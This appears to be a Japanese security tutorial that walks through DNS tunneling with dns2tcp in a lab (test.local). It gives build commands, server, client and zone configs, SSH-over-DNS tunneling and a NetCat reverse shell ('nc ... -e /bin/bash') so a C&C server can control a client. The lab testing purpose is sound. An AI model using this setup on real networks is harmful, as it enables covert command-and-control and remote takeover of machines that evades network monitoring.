DNSセキュリティについて
C&Cサーバとの通信にHTTP/HTTPS以外にDNSプロトコルを用いた手法があります。今回はdns2tcpというツールを用いてDNSプロトコルの中にSSH通信をトンネリングする試験をします。
■構成
通常のDNS通信とDNSプロトコルを用いたDNSトンネリングのイメージを示します。



■dns2tcpの設定
1.dns2tcpのダウンロード
https://github.com/alex-sector/dns2tcp/releases
Source Codeをダウンロードし任意のフォルダに展開
wget https://github.com/alex-sector/dns2tcp/archive/v0.5.2.tar.gz
tar xzvf v0.5.2.tar.gz
2.コンパイルとインストール
ダウンロードしたファイルを展開したディレクトリに移動
cd dns2tcp-0.5.2
./cofigure
make
make install
3.サーバ側の起動
dns2tcpd -F -d 3 -f ./.dns2tcpdrc
→設定ファイルである .dns2tcpdrcファイルを読み込んで実行
.dns2tcpdrcファイルの内容
listen=0.0.0.0 →偽DNSサーバとして待ち受けるIPアドレス
port=53 →DNS待ち受けポート
user=root →起動するsshコマンドの実行権限(一般ユーザだと失敗する)
key=password →クライアント(dns2tcpc)から接続するためのパスワード
domain=sub.test.local →偽DNSサーバとして待ち受けるドメイン名
resources=ssh:127.0.0.1:22 →クライアント(dns2tcpc)に接続させるコマンド(ssh)
4.クライアント側の起動
dns2tcpc -d 3 -f ./.dns2tcpcrc
→設定ファイルである .dns2tcpcrcファイルを読み込んで実行
.dns2tcpcrcファイルの内容
domain=sub.test.local →偽DNSサーバのドメイン名
resource=ssh →クライアント上で実行するコマンドの指定(ssh)
local_port=2222 →クライアント上で実行するコマンドの待ち受けポート
key=password
5.実行
・クライアントマシンにおいて自身の2222ポートにssh接続を行う
・クライアントソフト(dns2tcpc)は指定されたドメイン(sub.test.local)にsshコマンドをDNSプロトコルに化かして送信
・サーバソフト(dns2tcpd)は受け取ったDNSパケットを紐解き、自身のsshコマンドに接続させる。
つまり、sshプロトコルをDNSプロトコルで隠ぺいすることができる。
※注意事項:ssh認証を鍵認証にしていると失敗するのでパスワード認証にしておく。
■DNSサーバの設定
・named.confの設定例
zone “test.local” IN {
type master;
file “test.local.zone”;
};
・test.local.zoneファイルの設定例
$TTL 86400
@ IN SOA test.local root.test.local(
2019112501
3600
900
604800
86400
)
@ IN NS ns1.test.local.
sub IN NS ns2.sub →dns2tcpdを起動するドメイン
ns1 IN A 10.0.2.50
ns2.sub IN A 10.0.2.51→dns2tcpdを起動するマシンのアドレス
■NetCatによるリバースシェルを使う方法
NetCatコマンドを使ってサーバ側(dns2tcpd)からクライアント側(dns2tcpc)を操作する方法を示す。
1.サーバ側作業
設定ファイル .dns2tcpdrc2の内容
listen=0.0.0.0
port=53
user=root
key=password
domain=sub.test.local
resouces=nc:127.0.0.1:4444
上記ファイルを用意し起動
dns2tcpd -F -d 3 -f ./.dns2tcpdrc2
さらに下記コマンドを実行
nc -lvp 4444
2.クライアント側の設定
以下のコマンドで実行
dns2tcpc -z sub.test.local -d 3 -k password -r nc -l 4444
さらにクライアント端末上で以下を実行
nc 127.0.0.1 4444 -e /bin/bash
→このコマンドを実行するとサーバ側のncコマンドとTCP4444で接続され
サーバからの入力がクライアントのbashに渡される。
上記コマンド実行後、サーバの「nc -lvp 4444」を実行した画面でコマンドを入力すると、入力した文字がTCP4444番ポートを通ってクライアント側4444番ポートに渡され、さらにクライアント側のbashに入力される。
つまり、C&Cサーバからクライアント端末を操作できるようになる。